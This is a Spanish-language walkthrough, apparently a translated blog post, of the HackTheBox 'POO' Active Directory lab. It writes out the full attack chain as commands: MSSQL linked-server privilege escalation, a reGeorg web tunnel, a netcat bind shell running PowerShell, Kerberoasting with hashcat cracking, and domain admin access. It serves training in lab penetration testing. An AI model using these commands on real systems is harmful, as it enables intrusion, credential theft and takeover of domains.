En este artículo, analizaremos el paso no solo de un automóvil, sino de todo un mini laboratorio del sitio HackTheBox .Como se indica en la descripción, POO está diseñado para evaluar habilidades en todas las etapas de ataques en un entorno pequeño de Active Directory. El objetivo es comprometer un host disponible, aumentar los privilegios y, en última instancia, comprometer todo el dominio, mientras se recopilan 5 banderas.La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)Información organizacional, ,
Telegram . , ,
.
. , - , .
Introducción
Este juego final consta de dos máquinas y contiene 5 banderas.
También se proporciona la descripción y la dirección del host disponible.
¡Empecemos!Bandera de reconocimiento
Esta máquina tiene una dirección IP de 10.13.38.11, que agrego a / etc / hosts.10.13.38.11 poo.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.nmap -A poo.htb -p80,1433
Por lo tanto, tenemos IIS y MSSQL. En este caso, descubriremos el nombre DNS real del dominio y la computadora. En el servidor web nos saluda la página de inicio de IIS.
Veamos los directorios. Yo uso gobuster para esto. En los parámetros indicamos el número de flujos 128 (-t), URL (-u), diccionario (-w) y extensiones que nos interesan (-x).gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Por lo tanto, tenemos autenticación HTTP para el directorio / admin, así como un archivo de repositorio de servicio de escritorio disponible .DS_Store. .DS_Store: son archivos que almacenan configuraciones de usuario para la carpeta, como una lista de archivos, la ubicación de los iconos, la imagen de fondo seleccionada. Tal archivo puede caer en el directorio del servidor web de los desarrolladores web. Por lo tanto, obtenemos información sobre el contenido del directorio. Puede usar el rastreador DS_Store para esto .python3 dsstore_crawler.py -i http://poo.htb/
Obtenemos el contenido del directorio. Lo más interesante aquí es el directorio / dev, desde el cual podemos ver los archivos fuente y db en dos ramas. Pero podemos primero 6 caracteres del nombre de los archivos y directorios si el servicio es vulnerable a IIS ShortName. Para verificar esta vulnerabilidad, use el escáner de nombre corto IIS .
Y vamos a un archivo de texto que comienza con "poo_co". Sin saber qué hacer a continuación, simplemente seleccioné todas las palabras que comienzan con "co" del diccionario del directorio.cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
E iterar a través de wfuzz.wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
¡Y encontramos la palabra correcta! Observamos este archivo, guardamos las credenciales (a juzgar por el parámetro DBNAME, son de MSSQL).
Entregamos la bandera y avanzamos un 20%.
Eh bandera
Estamos conectados a MSSQL, yo uso DBeaver.
No encontramos nada interesante en esta base de datos, creemos un Editor SQL y verifiquemos qué usuarios son.SELECT name FROM master..syslogins;
Tenemos dos usuarios Veamos nuestros privilegios.SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Por lo tanto, no hay privilegios. Veamos los servidores relacionados, sobre esta técnica que escribí en detalle aquí .SELECT * FROM master..sysservers;
Entonces encontramos otro SQL Server. Verifiquemos la ejecución de comandos en este servidor usando openquery ().SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
E incluso podemos construir un árbol de consulta.SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
El hecho es que cuando ejecutamos una solicitud a un servidor vinculado, ¡la solicitud se ejecuta en el contexto de otro usuario! Veamos en qué contexto estamos trabajando en un servidor vinculado.SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
¡Ahora veamos en qué contexto se ejecuta la solicitud del servidor vinculado al nuestro!SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
Por lo tanto, este es un contexto DBO que debería tener todos los privilegios. Verifiquemos los privilegios en caso de una solicitud de un servidor vinculado.SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Como puede ver, ¡tenemos todos los privilegios! Creemos nuestro administrador de esta manera. Pero no lo dejan pasar por openquery, hagámoslo a través de EJECUTAR EN.EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
Y ahora que estamos conectados con las credenciales del nuevo usuario, observamos la nueva base de datos de banderas.
Entregamos esta bandera y seguimos adelante.
Bandera de retroceso
Obtendremos el shell usando MSSQL, yo uso mssqlclient del paquete impacket.mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
Necesitamos obtener contraseñas, y lo primero que ya conocemos es el sitio. Por lo tanto, necesitamos una configuración de servidor web (es imposible lanzar un shell conveniente, aparentemente el firewall está funcionando).
Pero el acceso es denegado. Aunque podemos leer el archivo desde MSSQL, solo necesita saber qué lenguajes de programación están configurados. Y en el directorio MSSQL descubrimos qué es Python.
Luego lea el archivo web.config, no hay problema.EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
Con las credenciales encontradas, vaya a / admin y levante la bandera.

Bandera lisa
De hecho, existen algunos inconvenientes al usar un firewall, pero al observar la configuración de la red, ¡notamos que también se usa la perforación IPv6!
Agregue esta dirección a / etc / hosts.dead:babe::1001 poo6.htb
Analicemos el host nuevamente, pero usando IPv6.
Y a través de IPv6, el servicio WinRM está disponible. Conéctese con las credenciales encontradas.
Hay una bandera en el escritorio, se la entregamos.
Bandera P00ned
Después del reconocimiento en el host usando winpeas, no encontramos nada especial. Luego se decidió buscar nuevamente las credenciales (también escribí un artículo sobre este tema ). Pero no logré obtener todos los SPN del sistema a través de WinRM.setspn.exe -T intranet.poo -Q */*
Ejecutemos el comando a través de MSSQL.
De esta forma, obtenemos los SPN de los usuarios p00_hr y p00_adm, lo que significa que son vulnerables a un ataque como Kerberoasting. En resumen, podemos obtener hash de sus contraseñas.Primero debe obtener un shell estable en nombre del usuario de MSSQL. Pero dado que tenemos un acceso limitado, solo tenemos acceso al host a través del puerto 80 y 1433. ¡Pero es posible hacer un túnel del tráfico a través del puerto 80! Para hacer esto, utilizamos la siguiente aplicación . Descargue el archivo tunnel.aspx en el directorio de inicio del servidor web: C: \ inetpub \ wwwroot \.
Pero cuando intentamos acceder a él, obtenemos el error 404. Esto significa que los archivos * .aspx no se ejecutan. Para que los archivos con estas extensiones comiencen a ejecutarse, instale ASP.NET 4.5 de la siguiente manera.dism /online /enable-feature /all /featurename:IIS-ASPNET45

Y ahora, al acceder a tunnel.aspx, obtenemos la respuesta de que todo está listo para funcionar.
Iniciemos la parte del cliente de la aplicación, que se ocupará de la retransmisión de tráfico. Redirigiremos todo el tráfico desde el puerto 5432 al servidor.python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Y usamos proxychains para enviar tráfico a cualquier aplicación a través de nuestro proxy. Agregue este proxy al archivo de configuración /etc/proxychains.conf.
Ahora subiremos el programa netcat al servidor , con la ayuda de la cual crearemos un shell de enlace estable, y el script Invoke-Kerberoast , con el que llevaremos a cabo el ataque Kerberoasting.
Ahora a través de MSSQL comenzamos el oyente.xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
Y conéctese a través de nuestro proxy.proxychains rlwrap nc poo.htb 4321
Y consigamos los hashes.. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
A continuación, debe ordenar estos hashes. Como no había datos de contraseña en el diccionario rockyou, utilicé TODOS los diccionarios de contraseñas proporcionados por Seclists. Para la búsqueda usamos hashcat.hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Y encontramos ambas contraseñas, la primera en el diccionario dutch_passwordlist.txt, y la segunda en Keyboard-Combinations.txt.
Y entonces tenemos tres usuarios, ve al controlador de dominio. Primero averiguamos su dirección.
Ok, descubrimos la dirección IP del controlador de dominio. Averigüemos todos los usuarios del dominio, así como cuál de ellos es el administrador. Para descargar el script para obtener información PowerView.ps1. Luego conéctese usando evil-winrm especificando el directorio con el script en el parámetro -s. Y luego simplemente cargue el script PowerView.
Ahora todas sus funciones están disponibles para nosotros. El usuario p00_adm parece un usuario privilegiado, por lo que trabajaremos en su contexto. Cree un objeto PSCredential para este usuario.$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Ahora todos los comandos de Powershell, donde especificamos Creds, se ejecutarán en nombre de p00_adm. Hagamos una lista de los usuarios y el atributo AdminCount.Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Y así, nuestro usuario es realmente privilegiado. Echemos un vistazo a los grupos en los que está compuesto.Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Afirmamos que el usuario es un administrador de dominio. Esto le da derecho a iniciar sesión de forma remota en el controlador de dominio. Intentemos ingresar a través de WinRM usando nuestro túnel. Estaba confundido por los errores generados por reGeorg al usar evil-winrm.
Luego usaremos otro script más fácil para conectarnos a WinRM. Abra y cambie los parámetros para la conexión.
Estamos tratando de conectarnos y estamos en el sistema.
Pero no hay bandera. Luego mire al usuario y verifique los escritorios.
En mr3ks encontramos la bandera y el laboratorio está 100% aprobado.
Eso es todo. Como comentario, comente si aprendió algo nuevo de este artículo y si le fue útil.Puedes unirte a nosotros en Telegram. Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.